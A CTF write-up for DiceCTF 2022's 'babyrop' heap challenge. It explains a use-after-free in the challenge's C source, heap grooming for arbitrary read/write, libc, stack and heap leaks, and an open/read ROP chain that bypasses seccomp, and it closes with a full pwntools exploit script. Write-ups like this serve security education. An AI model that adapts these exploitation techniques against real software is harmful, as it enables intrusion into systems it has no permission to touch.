# babyrop

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/dicectf/2022/pwn/babyrop>" %}

## The Binary

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FCLAOmMw5SzuJMryaEGhZ%2Fimage.png?alt=media\&token=1883bc40-c8ad-47d9-b06f-7d16af21e940)

## Source Code

```c
#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}
```

We are allowed to:

* malloc chunks of controlled sizes
* free the chunks we allocated
* read data from them
* write data to them

I started things off by creating some helpers to interact w/ the binary.

```python
#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'

if args.REMOTE:
    io = remote('mc.ax',31245)
else:
    io = process(e.path)

def create(i,s,d=''):
    io.sendlineafter(': ','C')
    io.sendlineafter(': ',str(i))
    io.sendlineafter(': ',str(s))
    io.sendlineafter(': ',d)

def free(i):
    io.sendlineafter(': ','F')
    io.sendlineafter(': ',str(i))

def read(i):
    io.sendlineafter(': ','R')
    io.sendlineafter(': ',str(i))

def write(i,d):
    io.sendlineafter(': ','W')
    io.sendlineafter(': ', str(i))
    io.sendlineafter(': ',d)
[...]
```

## Use-after-free

There is a very obvious UAF in `free_safe_string`, allowing us to read, write, free the chunks after they are already free.

```c
void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}
```

The controlled chunks are tied to a metadata (`safe_string` struct) chunk which is where the pointer to ther controlled chunks are stored, along with their respective sizes.

```c
typedef struct {
    size_t length;
	char * string;
} safe_string;
```

The ideal scenario would be to abuse the UAF to overlap a `safe_string` struct with a controlled chunk so we can manipulate the string pointer and length, pretty much given us straight up arb read/write.

This can be easily achieved with a correct sequence of allocations and deallocations as follows. (Keep in mind that the size of the `safe_string` struct is `0x10`, considering the chunk size field and alignment, they go in the `0x20` caches).

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FbaSyW5XS0Ci5jwWoG1mU%2Fimage.png?alt=media\&token=ae503371-e995-42cd-9756-ff2e88779c2a)

First I allocate a string with the same size of the `safe_string` structure and another string with a different size.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FrDtmfZsAiFN7rZezD9Xu%2Fimage.png?alt=media\&token=fa498289-02af-4f3b-b728-f5dc5d236800)

Then I free'd both of them, first the `0x20` string, then the `0x10` string. So now our tcache should look like this: (Consider that tcache is LIFO and also that each chunk has 8 bytes for size and is aligned to `0x10`).

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FnlYAq7vMbey7BvItcSiu%2Fimage.png?alt=media\&token=b81f8ff7-7755-4891-9d4b-ac820ea26f45)

Now we know for sure that our next `0x20` sized allocations (`0x10` sized strings) will go in the A chunk and then B and C.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FvZDs93gE4kTF39gp6xAB%2Fimage.png?alt=media\&token=06453f69-dd49-45f1-806f-278cfde283d1)

Then, if we allocate another `0x20` string we'll consume chunk A (`safe_string`) and D (`string`), which mean our next `safe_string` will go in B and it's string chunk will go in C. Since C is the `safe_string` of the second allocation and also the controllable string of the fourth allocation, when we edit the fourth allocated string we will be editing the lenght and pointer of the second one, constructing a very reliable arb read/write interface.

```python
[...]
    # Heap massage + UAF
    create(0,0x10)
    create(1,0x20)
    free(1)
    free(0)
    create(2,0x20)
    create(3,0x10)
[...]
```

## Leaking Libc

Since PIE is off getting a libc leak is as easy as using our arb read to read 8 bytes of some GOT entry, I used puts.

```python
[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak libc
    write(3,p64(8)+p64(0x004031f0))
    read(1)
    libc.address = parse_leak(0x7a180)
    log.success('Libc: ' + hex(libc.address))
[...]
```

## Leaking Stack

Glibc 2.34 doesn't have free/malloc hooks, so we'll have to ROP to get PC control, to do that we can find the return address of some function and overwrite it with a rop chain, then have this function return. The easiest way to get a stack address in order to do that is using the `environ` symbol from libc.

```python
[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak stack
    write(3,p64(8)+p64(libc.sym['environ']))
    read(1)
    ret_addr = parse_leak(0x160)
    log.success('Ret addr: ' + hex(ret_addr))
[...]
```

## Leaking Heap

Due to seccomp filters we won't be able to do an `execve("/bin/sh",0,0)` rop chain, so we'll need to `open` ./flag.txt, `read` the data from a file descriptor and retrieve that data. To do all that we need a memory segment that we can write to and read from, so we can store the "./flag.txt" string and also store the actual flag upon reading it. In this challenge we could use either `.bss` (using arb read/write), or the heap. I chose to use the heap so I can later retrieve the flag using `read_safe_string` during the rop chain.

```python
[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak heap
    create(4,0x60,'./flag.txt\x00')
    write(3,p64(8)+p64(0x404060))
    read(1)
    flag_txt = parse_leak(-0x20)
    log.success('./flag.txt: ' + hex(flag_txt))
[...]
```

## ROP

The final rop consists in:

* `open("./flag.txt")`                    # ./flag.txt string is stored in the heap
* `read(3, heap_addr, 0x60)`       # ./flag.txt is in fd 3 since no other files are opened
* `read_safe_string(4)`                 # print the item where the flag was written to

```python
[...]
    # ROP
    write(3,p64(0x100)+p64(ret_addr))
    rop = ROP(libc)
    rop.call('open',[flag_txt,0])
    rop.call('read',[3,flag_txt,0x60])
    rop.rdi = 4
    rop.raw(e.sym['read_safe_string'])
    write(1,rop.chain())
    
    # Trigger ROP
    read(1)
[...]
```

## Final Exploit

The program crashes shortly after showing the flag, so there is no point in fixing that ;)

```python
#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'

if args.REMOTE:
    io = remote('mc.ax',31245)
else:
    io = process(e.path)

def create(i,s,d=''):
    io.sendlineafter(': ','C')
    io.sendlineafter(': ',str(i))
    io.sendlineafter(': ',str(s))
    io.sendlineafter(': ',d)

def free(i):
    io.sendlineafter(': ','F')
    io.sendlineafter(': ',str(i))

def read(i):
    io.sendlineafter(': ','R')
    io.sendlineafter(': ',str(i))

def write(i,d):
    io.sendlineafter(': ','W')
    io.sendlineafter(': ', str(i))
    io.sendlineafter(': ',d)

# Exploit
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o
    
def pwn():

    # Heap massage + UAF
    create(0,0x10)
    create(1,0x20)
    free(1)
    free(0)
    create(2,0x20)
    create(3,0x10)

    # Leak libc
    write(3,p64(8)+p64(0x004031f0))
    read(1)
    libc.address = parse_leak(0x7a180)
    log.success('Libc: ' + hex(libc.address))

    # Leak stack
    write(3,p64(8)+p64(libc.sym['environ']))
    read(1)
    ret_addr = parse_leak(0x160)
    log.success('Ret addr: ' + hex(ret_addr))

    # Leak heap
    create(4,0x60,'./flag.txt\x00')
    write(3,p64(8)+p64(0x404060))
    read(1)
    flag_txt = parse_leak(-0x20)
    log.success('./flag.txt: ' + hex(flag_txt))

    # ROP
    write(3,p64(0x100)+p64(ret_addr))
    rop = ROP(libc)
    rop.call('open',[flag_txt,0])
    rop.call('read',[3,flag_txt,0x60])
    rop.rdi = 4
    rop.raw(e.sym['read_safe_string'])
    write(1,rop.chain())

    # Trigger ROP
    read(1)

pwn()
io.interactive()
```

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2F26y6RNdbLgQ0ElHlzTJK%2Fimage.png?alt=media\&token=a335398c-2bd6-46a8-b170-7d2131b51278)

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZD3WIm997ouoGhrdss%2Fuploads%2FNdcToK1XiHQOqlo5MKHj%2Fimage.png?alt=media\&token=39a38e4c-afe9-4ae0-9d65-d54739b871bd)

Flag: **dice{glibc\_2.34\_stole\_my\_function\_pointers-but\_at\_least\_nobody\_uses\_intel\_CET}**
